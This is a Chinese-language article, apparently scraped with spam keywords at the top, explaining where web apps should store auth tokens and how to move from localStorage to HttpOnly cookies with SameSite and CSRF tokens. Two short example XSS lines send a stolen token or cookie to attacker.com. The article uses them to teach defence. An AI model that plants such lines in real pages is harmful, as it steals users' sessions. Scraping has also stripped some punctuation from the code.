永康建设网站wordpress jp

永康建设网站,wordpress jp,做网站编辑需要经验吗,建工信息网面试官最爱挖的坑#xff1a;用户 Token 到底该存哪#xff1f; 面试官问#xff1a;“用户 token 应该存在哪#xff1f;” 很多人脱口而出#xff1a;localStorage。 这个回答不能说错#xff0c;但远称不上好答案。 一个好答案#xff0c;至少要说清三件事#xff1…面试官最爱挖的坑用户 Token 到底该存哪面试官问“用户 token 应该存在哪”很多人脱口而出localStorage。这个回答不能说错但远称不上好答案。一个好答案至少要说清三件事有哪些常见存储方式它们的优缺点是什么为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie实际项目里怎么落地、怎么权衡「安全 vs 成本」这篇文章就从这三点展开顺便帮你把这道高频面试题吃透。三种存储方式一张图看懂差异前端存 token主流就三种存储方式XSS 能读到吗CSRF 会自动带吗推荐程度localStorage能不会不推荐存敏感数据普通 Cookie能会不推荐HttpOnly Cookie不能会推荐localStorage用得最多但也最容易出事大部分项目一开始都是这样写的把 token 往 localStorage 一扔就完事了// 登录成功后localStorage.setItem(token,response.accessToken);// 请求时取出来consttokenlocalStorage.getItem(token);fetch(/api/user,{headers:{Authorization:Bearer${token}}});用起来确实方便但有个致命问题XSS 攻击可以直接读取。localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞攻击者就能一行代码偷走 token// 攻击者注入的脚本fetch(https://attacker.com/steal?tokenlocalStorage.getItem(token))你可能会想“我的代码没有 XSS 漏洞。”现实是XSS 漏洞太容易出现了——一个 innerHTML 没处理好一个第三方脚本被污染一个 URL 参数直接渲染……项目一大、接口一多总有疏漏的时候。普通 CookieXSS 能读CSRF 还会自动带有人会往 Cookie 上靠拢“那我存 Cookie 里是不是就更安全了”如果只是「普通 Cookie」实际上比 localStorage 还糟糕// 设置普通 Cookiedocument.cookietoken${response.accessToken}; path/;// 攻击者同样能读到consttokendocument.cookie.split(token)[1];fetch(https://attacker.com/steal?tokentoken);XSS 能读CSRF 还会自动带上——两头不讨好。HttpOnly Cookie让 XSS 偷不走 Token真正值得推荐的是 HttpOnly Cookie。它的核心优势只有一句话JavaScript 读不到。// 后端设置Node.js 示例res.cookie(access_token,token,{httpOnly:true,// JS 访问不到secure:true,// 只在TPS 发送sameSite:lax,// 防 CSRFmaxAge:3600000// 1 小时过期});设置了 httpOnly: true前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。// 前端发请求浏览器自动带上 Cookiefetch(/api/user,{credentials:include});// 攻击者的 XSS 脚本document.cookie// 看不到 httpOnly 的 Cookie偷不走HttpOnly Cookie 的代价需要正面面对 CSRFHttpOnly Cookie 解决了「XSS 偷 token」的问题但引入了另一个必须正视的问题CSRF。因为 Cookie 会自动发送攻击者可以诱导用户访问恶意页面悄悄发起伪造请求用户 - 银行网站用户 - 恶意网站登录获得 HttpOnly Cookie访问恶意网站页面包含隐藏表单浏览器自动发送请求带 CookieCookie 有效执行转账SameSite 属性最简单的一步就是在设置 Cookie 时加上 sameSiteres.cookie(access_token,token,{httpOnly:true,secure:true,sameSite:lax// 关键配置});sameSite 有三个值strict跨站请求完全不带 Cookie。最安全但从外链点进来需要重新登录laxGET 导航可以带POST 不带。大部分场景够用Chrome 默认值none都带但必须配合 secure: truelax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感比如金融可以再加 CSRF Token。CSRF Token更严格如果希望更严谨可以在 sameSite 基础上再加一层 CSRF Token 验证// 后端生成 Token放到页面或接口返回constcsrfTokencrypto.randomUUID();res.cookie(csrf_token,csrfToken);// 这个不用 httpOnly前端需要读// 前端请求时带上fetch(/api/transfer,{method:POST,headers:{X-CSRF-Token:document.cookie.match(/csrf_token([^;])/)?.[1]},credentials:include});// 后端验证if(req.cookies.csrf_token!req.headers[x-csrf-token]){returnres.status(403).send(CSRF token mismatch);}攻击者能让浏览器自动带上 Cookie但没法读取 Cookie 内容来构造请求头。核心对比为什么宁愿多做 CSRF也要堵死 XSS这是全篇最重要的一点也是推荐 HttpOnly Cookie 的根本原因。XSS 的攻击面太广用户输入渲染评论、搜索、URL 参数第三方脚本广告、统计、CDN富文本编辑器Markdown 渲染JSON 数据直接插入 HTML代码量大了总有地方会疏漏。一个 innerHTML 忘了转义第三方库有漏洞攻击者就能注入脚本。CSRF 防护相对简单、手段统一sameSite: lax 一行配置搞定大部分场景需要更严格就加 CSRF Token攻击面有限主要是表单提交和链接跳转两害相权取其轻——先把 XSS 能偷 token 这条路堵死再去专心做好 CSRF 防护。真落地要改什么从 localStorage 迁移到 HttpOnly Cookie后端改动登录接口从「返回 JSON 里的 token」改成「Set-Cookie」// 改造前app.post(/api/login,(req,res){consttokengenerateToken(user);res.json({accessToken:token});});// 改造后app.post(/api/login,(req,res){consttokengenerateToken(user);res.cookie(access_token,token,{httpOnly:true,secure:true,sameSite:lax,maxAge:3600000});res.json({success:true});});前端改动前端请求时不再手动带 token而是改成 credentials: ‘include’// 改造前fetch(/api/user,{headers:{Authorization:Bearer${localStorage.getItem(token)}}});// 改造后fetch(/api/user,{credentials:include});如果用 axios可以全局配置axios.defaults.withCredentialstrue;登出处理登出时后端清除 Cookieapp.post(/api/logout,(req,res){res.clearCookie(access_token);res.json({success:true});});如果暂时做不到 HttpOnly Cookie可以怎么降风险有些项目历史包袱比较重或者后端暂时不愿意改。短期内只能继续用 localStorage 的话至少要做好这些补救措施严格防 XSS用 textContent 代替 innerHTML用户输入必须转义配置 CSP 头富文本用 DOMPurify 过滤Token 过期时间要短Access Token 15 - 30 分钟过期配合 Refresh Token 机制敏感操作二次验证转账、改密码等操作要求输入密码或短信验证监控异常行为同一账号多地登录告警Token 使用频率异常告警面试怎么答简洁版30 秒推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly CookieXSS 偷不走 token只需要处理 CSRF 就行。完整版1 - 2 分钟Token 存储有三种常见方式localStorage、普通 Cookie、HttpOnly Cookie。localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放攻击者注入一行脚本就能偷走 token。普通 Cookie 更糟XSS 能读CSRF 还会自动发送。推荐 HttpOnly Cookie设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。所以权衡下来HttpOnly Cookie 配合 SameSite 是更安全的方案。当然没有绝对安全的方案。即使用了 HttpOnly CookieXSS 攻击虽然偷不走 token但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie SameSite CSP 输入验证多层防护叠加。加分项如果面试官追问改造成本需要前后端配合登录接口改成 Set-Cookie 返回前端请求加 credentials: include如果用 localStorageToken 过期时间要短敏感操作二次验证严格防 XSS移动端场景App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题需要具体评估如果你觉得这篇文章有帮助欢迎关注我的 GitHub下面是我的一些开源项目Claude Code Skills按需加载意图自动识别不浪费 token介绍文章code-review-skill - 代码审查技能覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则详细介绍5-whys-skill - 5 Whys 根因分析说找根因自动激活first-principles-skill - 第一性原理思考适合架构设计和技术选型全栈项目适合学习现代技术栈prompt-vault - Prompt 管理器用的都是最新的技术栈适合用来学习了解最新的前端全栈开发范式Next.js 15 React 19 tRPC 11 Supabase 全栈示例clone 下来配个免费 Supabase 就能跑chat_edit - 双模式 AI 应用聊天富文本编辑Vue 3.5 TypeScript Vite 5 Quill 2.0 IndexedDB